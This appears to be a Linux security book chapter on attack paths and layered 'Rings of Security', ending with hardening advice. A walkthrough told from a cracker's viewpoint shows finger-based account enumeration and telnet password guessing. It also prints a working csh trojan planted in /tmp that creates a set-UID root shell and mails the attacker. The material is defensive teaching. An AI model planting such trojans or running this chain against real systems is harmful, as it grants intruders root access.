Section 2.1 Understanding Linux Security

---

2.1 Understanding Linux Security

Some of the ideas behind Linux security are covered in this chapter, as well as innovative new perspectives for viewing security. New ways will be considered to avoid the single "wall" of security that permits a single crack in that wall to void all security. Linux is based on the UNIX security model. This model was designed by some of the top Ph.D. computer scientists in the U.S. It has undergone 30 years of analysis, development, and evolution by everyone from noted scholars to crackers to Department of Defense and other government security experts. It has stood the test of time.

2.1.1 You Are in a Maze of Twisty Little Passages

A Linux system is like a maze of twisty little passages, each with unknown connections and doors with locks of different strengths. The path to cracking a system may be long and twisty with many dead ends. This maze is shown in Figure 2.1.

Figure 2.1. You are in a maze of twisty little passages.

As you can see in Figure 2.1, a cracker need find only one of many possible passages from the Internet to "owning" a system's root account or important database. The particular rooms offering unexpected passages (paths) in Figure 2.1 are, in fact, the most frequent ways that Linux systems are broken into. If any of these rooms exist on your systems, you will want to read the appropriate sections of the book to ensure that the unexpected passages are blocked. These most severe vulnerabilities also are listed in Table 2.1. These problems and their solutions are discussed.

As you can see in Table 2.1, the most frequent avenues for breaking into a Linux box are common features in use at many sites. You also can see that many of the avenues are buggy system software or applications rather than a simple "misconfiguration" by the SysAdmin. This means that proper configuration of the system is not enough. You also need to be subscribed to the appropriate security mailing lists and work with your users and programmers to achieve a secure system. The following realistic example shows how a cracker might search for your system's vulnerabilities and take advantage of them to break in.

Table 2.1. Most Frequent Linux Break-Ins

• Buggy or misconfigured DNS or Sendmail	• Buggy or misconfigured FTP daemon
• Buggy CGI programs or misconfigured Apache	• Weak or missing passwords
• NFS, mountd, or Sun Remote Procedure Calls	• Buggy set-UID to root programs
• Buggy or misconfigured POP or IMAP	• Telnet
• SNMP, especially with default passwords

If this example scares you, if this might even work on your system, you have come to the right place for solutions. If this is elementary, please read ahead as there is something for everyone. (We will not even be trying CGI programs or buffer overflows in this example.)

The inspiration for the title to this section is the computer game Adventure, where one explored an underground magical cave with many interconnected rooms. Many large old buildings, including castles, have similarly interconnected rooms and halls.

One possible path for a cracker to walk on a poorly secured system might be the following example. It is told from the perspective of the cracker to help understand the cracker's process in order to better protect against it.

1. We discover the hostname www.pentacorp.com^[1] by seeing a link to it from another site, or from seeing e-mail from it, or maybe by hearing the name Pentacorp.

   ^[1] The names Pentacorp and Fly-By-Day Consulting are trademarks of Fly-By-Day Consulting, Inc.

2. We ping it to see if it exists.

    $ ping www.pentacorp.com PING www.pentacorp.com (216.247.56.62): 56 data bytes 64 bytes from 216.247.56.62: icmp_seq=0 ttl=55 time=189.4 ms 64 bytes from 216.247.56.62: icmp_seq=1 ttl=55 time=160.3 ms ^C 

   Because so many sites are disabling the ICMP echo facility that ping uses, nslookup or traceroute is more likely to yield valid results. Barring network failure, nslookup will always verify whether a site exists. The use of traceroute will test connectivity and, if there is a problem, will show which system is having the problem.

   
   

3. We see if it supports finger.

    $ finger [e-mail] [www.pentacorp.com] Login: root                              Name: root Directory: /root                         Shell: /bin/tcsh Last login Wed Apr  5 11:33 (EDT) on tty2 

   Yes, the SysAdmin made it easy by allowing us to see if the system administrator is on the system where he might notice us and by allowing us to guess account names without the guesses being reported.

4. Try guessing account names.

   Because many people use their account names and usual host names for their e-mail addresses, crackers can obtain this information from e-mail, reading mailing lists and News groups, and using Web search engines.

   
   

    $ finger [e-mail] finger: ken: no such user. $ finger [e-mail] finger: dennis: no such user. $ finger [e-mail] [www.pentacorp.com] Login: bill                              Name: Bill Sateg Directory: /home/bill                    Shell: /bin/tcsh On since Sat Apr  1 13:40 (EDT) on tty1  6 days 16 hours idle 

   We found an account. Cool.

5. Guess Bill's password.

    $ telnet www.pentacorp.com Trying 192.168.57.8... Connected to www.pentacorp.com www.pentacorp.com login: bill Password: money Login incorrect www.pentacorp.com login: bill Password: 640k You have new mail. % 

   We can log in as an ordinary user now.

6. Now try to become root. Try to guess root's password. Give up after 20 bad guesses to su. A dead end.

7. See if encrypted passwords are in /etc/passwd. If so we might crack them on our own system.

    % cat /etc/passwd root:x:0:0:Goddess:/root:/bin/sh bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: ralph:x:101:100:daemon:/home/bill:/bin/bash bill:x:102:100:daemon:/home/bill:/bin/tcsh 

   Rats. The password of "x" on root indicates that they are using shadowed passwords, contained in /etc/shadow. Another dead end.

8. See what root's $PATH^[2] variable says.

   ^[2] This environment variable lists what directories should be searched to find a command if there are no slashes in the command name.

    % cat /root/.bash_profile alias rm='rm -i' alias ls='ls --color -F' export PATH="/usr/local/bin:/etc:.:$PATH" 

   Wonderful. The SysAdmin includes "." in his search path and in front of /bin. This means that if root gives the command ls and there is a program by that name in whatever current directory root is in, ./ls will be executed instead of /bin/ls.

   This is a goof but a common one. (Another common error is to allow read access to /root or even write access to it.)

9. Lay a trap in /tmp by leaving fake versions of ls, favorite_editor, and other_editor and wait for root to wander in there.^[3] We even could fill up disk space deliberately by creating some huge files in /tmp to get root to look in there sooner.

   ^[3] This code was written by the author, tested for correct operation, and then copied to the manuscript as was almost all the code presented in the book.

    % cat > /tmp/ls #!/bin/csh -f # If not root go directly to finish to give ls if ( ! -o /bin/su ) goto finish # Copy the shell cp /bin/sh .sh # Make it set-UID root!!! chmod 4755 .sh # Send us e-mail when it happens hostname | Mail -s got1 [e-mail] # Remove the Trojan horses /bin/rm ls pwd finish: /bin/ls $* ^D % chmod 755 /tmp/ls % cp /tmp/ls /tmp/vi 

2.1.2 Attack Paths

In the previous section you saw how a Linux or UNIX system might be considered a maze of twisty little passages. This might seem confusing and chaotic to people who have not studied Linux or UNIX security extensively.

Although this analogy compares Linux to a maze, it also holds for most other recent operating systems, including UNIX, Windows, Windows NT, and VMS.

You might have noted that it did not seem confusing or chaotic to our hypothetical cracker. This is because he understands the concept of attack paths^[4] and uses this analysis technique to find a route from where he is to where he wants to be, preferably having root access. It is valuable for you to be able to do this analysis before he does. The basic idea is that you start with a final objective, say, a root shell without needing physical presence at the computer.

^[4] Bruce Schneier, CTO of Counterpane Internet Security and a noted security expert, published an article titled "Attack Trees" in the December 1999 issue of Dr. Dobb's Journal. His article provided some inspiration for this section.

You try to find the final portions of possible paths that will get there and how "costly" each of these alternatives is. Cost may be the time to "walk" that path. It might be the financial cost, such as how powerful a computer is needed to crack a password in a reasonable amount of time or the cost to bribe someone into revealing the root password or even the cost to install a phone tap and connect a modem to it.

Next, the various paths to get to the starting points of these final segments are drawn and analyzed for costs. Next, the segments to get to these paths are devised and analyzed for costs. Eventually you get to various starting points where you clearly can start from. Note that when drawn out these paths look very much like a tree, both the living ones and file system trees. Finally you add up the costs of all the segments for each possible path. These attack paths to root are shown in Figure 2.2.

Figure 2.2. Attack paths to root.

As you can see in Figure 2.2, this method of analysis shows the strengths and weaknesses easily, assuming you understand the components of the system well. The questions are:

1. Have you found all practical paths? This is the hardest question to answer.

2. Which are the easiest paths for crackers to follow?

3. Are any paths easy enough that they represent a significant risk of a break-in?

4. How can you eliminate these paths or make them harder for crackers to follow?

5. How can you force a cracker to go through a longer sequence of hard to do paths to increase security?

Figure 2.2 provides a more detailed analysis that shows exactly what steps must be taken to advance from one "state" to another "higher energy state." Any decent cracker will be thinking along these lines and probably will be creating these diagrams, either on paper or in his mind. Many people find the use of attack paths helpful to analyze Linux security.

It allows people to understand in simple terms, a single step at a time, possible ways to break into your system. Thus, it enables you to more easily find security problems before a cracker does. If you study Figure 2.2 closely, analyzing each step, you might note a number of "easy" paths that could be made "hard" to do with minimal effort. To increase security, analyze the difficulty of each path segment and try to either eliminate easy paths or make them harder.

The use of attack paths is a part of failure analysis, the science of analyzing possible failure modes of a system. It is helpful, regardless of whether the system is a computer, bridge, airplane, or space ship and it is used by engineers designing all of these.

Recognize too that it is impossible to find all the paths, even for experts with decades of experience. The attack paths method is but one tool for increasing system security.

Some ways to harden this typical system are:

1. Use shadow passwords to prevent a cracker from getting the encrypted password so she can crack it on her own system. See "Shadowed MD5 Passwords for Good Security" on page 47 for details on implementing shadow passwords.

2. Configure FTP to run chrooted so it cannot get at /etc/passwd or /tmp. Most recent distributions as shipped already operate this way. Use the chroot capability for other daemons too, such as named.

3. Do not allow root's $PATH to contain ".". See "$PATH: Values of . Give Rise to Doom" on page 132 for more details.

4. Disable all unnecessary services, such as the finger daemon.

5. Do not put users' account names (e-mail addresses) on the Web site.

6. Ensure hard-to-crack passwords. See "Passwords A Key Point for Good Security" on page 41.

7. Ensure that there are no buggy set-UID programs. Keep software upgraded to latest versions. Have programs set-UID to accounts other than root wherever possible. Find alternatives to set-UID programs (where this would increase security).

8. Hire a good consultant to audit your security and perform penetration testing.

Attack paths can be a tremendous help in analyzing the custom work for security problems. This is particularly true for locally added applications, including CGI programs. Because CGIs commonly harbor security holes (bugs) this will allow you to determine how serious the consequences might be. This technique also will help you see how different variations limit the damage done if a vulnerability is discovered in a CGI (or other application). It also will allow you to see which CGIs are most critical from a security perspective and thus which ones should get the most detailed security analysis.

2.1.3 Moving to Rings of Security

Many SysAdmins and programmers operate on the single Ring of Security idea that UNIX originally used (prior to that 30 years of evolution). This idea is that it is necessary to have only one barrier ("Ring of Security") between the cracker and your system's data. Security depends on this single barrier being perfect. Worse, a perimeter firewall will not stop the 50 80 percent of intrusions that come from inside an organization. This is not just a problem for individual systems. Many companies have a single carefully configured firewall. Some companies even call it a moat. Behind that firewall are lots of unsecured systems all depending on that firewall being perfect. What in life is perfect?

Instead of single ring of protection, there is the concept of multiple "Rings of Security." If this is done correctly, even if a cracker gets past one ring there will be another ring to stop her and possibly even a third one. To have multiple "Rings of Security," it is necessary to improve security so that a cracker will have to follow a sequence of at least two "hard-to-follow" path segments to get to any goal that will cause substantial harm. Following a path means the same as penetrating one of the "Rings of Security."

"Rings of Security" have been added to Linux in several places. It is the reason root should not be allowed to use telnet. This restriction requires a cracker to break two passwords (root's and some ordinary user's) before he can log in as root remotely via telnet. This creates two "Rings of Security." See "Limit Which Terminals Root May Log In From" on page 69 for details.

Similarly root is not an acceptable FTP account. "Rings of Security" also is why the FTP daemon has the chroot feature, which can (and should) be used to limit an anonymous user (and thus crackers using anonymous FTP) to a small and carefully constructed portion of the file system. The chroot feature is discussed in "FTP" on page 190 and in "Limiting Consequences of a Named Compromise" on page 202.

The best way to make use of "Rings of Security" is to use attack paths to analyze your system, as discussed in "Attack Paths" on page 23. The only way that a cracker can get from an "easy-to-get-to" starting point to a point where she can cause harm should be by having to take at least two "hard" paths.

It can sometimes take creativity to figure out how to do this. One common place where "Rings of Security" could be very valuable is the path from your CGI programs to your data. At many companies CGI programs or scripts have privileged access to the database. This means that if a CGI program has a security bug in it, a cracker owns your database. On many systems this is as severe as becoming root even though the database might be owned by an ordinary user.

CGI programs and scripts commonly are written by people who do not have extensive knowledge of Linux security and many of these programs and scripts have severe security bugs. The solution is not to allow a CGI program (or the user that it runs as) to have direct access to the database. Instead, have a CGI program call a separate carefully written program, possibly running set-UID, to access the database. This program should be able to do only the minimum required for a particular CGI-directed operation. By having the database available only to this set-UID program's effective UID, a CGI that has been broken cannot do more extensive damage to the database. One even could have multiple effective UIDs, each with different database permissions; the ident facility can be useful here if the database server is accessed via TCP. This will add to the "Rings of Security."

Many e-commerce sites want to keep customer credit cards on file to save them the bother of re-entering them each time customers want to make purchases. Web servers tend to be vulnerable to attack due to their public nature. It is desirable to have an additional "Ring of Security" to protect credit card data. This very strong third "Ring of Security" is discussed in "One-Way Credit Card Data Path for Top Security" on page 302.

If your system runs non-Web custom applications which are important to your organization, it would be helpful to diagram the attack paths to its important data and add "Rings of Security."

---

Top